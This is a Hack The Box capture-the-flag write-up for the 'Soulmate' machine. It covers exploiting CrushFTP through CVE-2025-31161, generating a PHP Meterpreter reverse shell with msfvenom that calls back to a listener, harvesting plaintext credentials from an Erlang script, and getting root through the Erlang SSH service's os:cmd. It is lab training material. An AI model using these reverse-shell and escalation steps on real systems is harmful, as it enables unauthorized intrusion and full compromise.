From the results, we find only one result for an FTP server
Since it’s a subdomain though, we need to add it into the /etc/hosts like we did for the original domain
10.129.11.171 ftp.soulmate.htb
Visiting the site now, we are greeted by a CrushFTP login screen.
Can’t get in with default credentials, so we need another way in
I was able to search for vulnerabilities/exploits for CrushFTP on exploitdb, but I need to confirm the CrushFTP version first
I have not found a specific version, but given this timestamp:
11.W.657-2025_03_08_07_52
This means the instance is built on 03/08/2025, meaning that it’s more likely to be vulnerable to the CVE-2025-31161, which was announced/patched a few months later
I am able to found an exploit on exploitdb, so I went ahead and downloaded a copy of that
I am able to find users, but looking into the files, we only see one with a folder in there: ben
So, I can change ben’s password and log into his account
I then see the existence of PHP files, so we can craft a classic reverse shell to upload here!
Metasploit can generate that for us, so let’s do that
[Feb 03, 2026 - 20:41:27 (PST)] exegol-htb-labs /workspace # msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.4 LPORT=4444 -f raw -o shell.php
WARN: Unresolved or ambiguous specs during Gem::Specification.reset:
stringio (>= 0)
Available/installed versions of this gem:
- 3.1.1
- 3.0.1.2
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>'
Please report a bug if this causes problems.
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34923 bytes
Saved as: shell.php
I am then able to upload to the server
Now, we need a listener
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.15.4
LHOST => 10.10.15.4
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler o
With the shell uploaded, we can access it to trigger the listener
This worked!
[*] Started reverse TCP handler on 10.10.15.4:4444
[*] Meterpreter session 1 opened (10.10.15.4:4444 -> 10.129.11.171:48796) at 2026-02-03 20:45:29 -0800
meterpreter >
I am able to pull a shell, but I am the www-data user, so I don’t have ben’s privileges
Running linpeas.sh, we are able to find that we have access to a Erland script called start.escript
Sure enough, we can grab ben’s credentials from this
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
We are able to have credentials for ben:
ben:HouseH0ldings998
Now, with that, we able to login as ben and get his user flag!
www-data@soulmate:/tmp$ su ben
su ben
Password: HouseH0ldings998
ben@soulmate:/tmp$ cd /home/ben
cd /home/ben
ben@soulmate:~$ ls
ls
user.txt
ben@soulmate:~$ cat user.txt
cat user.txt
283fc350dcb49f74c1d366008e592350
Now, we need to work towards the root flag
We can attempt to SSH back into ben, but remember that Erlang service earlier?
Since his credentials were found within the script, it might be possible to connect to that service using these same credentials
So, let’s try that
ben@soulmate:~$ ssh ben@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
(ssh_runner@soulmate)1> os:cmd("whoami")
(ssh_runner@soulmate)1> os:cmd("whoami")
.
"root\n"
We are root now, so we can read out the root flag!